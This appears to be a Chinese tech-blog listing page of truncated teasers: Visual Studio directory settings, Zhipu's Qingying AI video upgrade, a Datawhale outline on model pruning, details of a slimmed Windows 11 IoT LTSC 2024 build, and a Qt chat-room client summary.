打开属性 输出目录&#xff1a;$(SolutionDir)bin\$(Platform)\$(Cinfiguration)\ 中间目录&#xff1a;$(SolutionDir)bin\intermediates\$(Platform)\$(Cinfiguration)\

智谱AI清影升级:引领AI视频进入音效新时代

前几天智谱推出了新清影,该版本支持4k、60帧超高清画质、任意尺寸&#xff0c;并且自带音效的10秒视频,让ai生视频告别了"哑巴时代"。 智谱AI视频腾空出世&#xff0c;可灵遭遇强劲挑战&#xff01;究竟谁是行业翘楚&#xff1f;(附测评案例)之前智谱出世那时体验了一…

Datawhale模型压缩技术Task2之模型剪枝

模型剪枝 模型剪枝介绍何为剪枝&#xff08;What is Pruning?&#xff09;剪枝类型非结构化剪枝结构化剪枝半结构化剪枝 剪枝范围局部剪枝全局剪枝 剪枝粒度细粒度剪枝基于模式的剪枝向量级剪枝内核级剪枝通道级剪枝 为何剪枝&#xff08;Why Pruning?&#xff09;剪枝标准&a…

雨晨 Fix 24H2 Windows 11 iot 企业版 ltsc 2024 极简 2合1 26100.2448

映像的详细信息: 雨晨 Fix 24H2 Windows 11 iot 企业版 ltsc 2024 极简 2合1 26100.2448 索引: 1 名称: Windows 11 IoT 企业版 LTSC 2024 极简V1 26100.2448 (传统legacy资源管理器) 描述: Windows 11 IoT 企业版 LTSC 2024 极简V1 26100.2448 By YCDISM v2025 2024-11-15 大…

【Qt聊天室】客户端实现总结

目录 1. 项目概述 2. 功能实现 2.1 主窗口设计 2.2 功能性窗口 2.3 主界面功能实现 2.4 聊天界面功能实现 2.5 个人信息功能开发 2.6 用户信息界面设置功能 2.7 单聊与群聊 2.8 登录窗口 2.9 消息功能 3. 核心设计逻辑 3.1 核心类 3.2 前后端交互与DataCenter 4…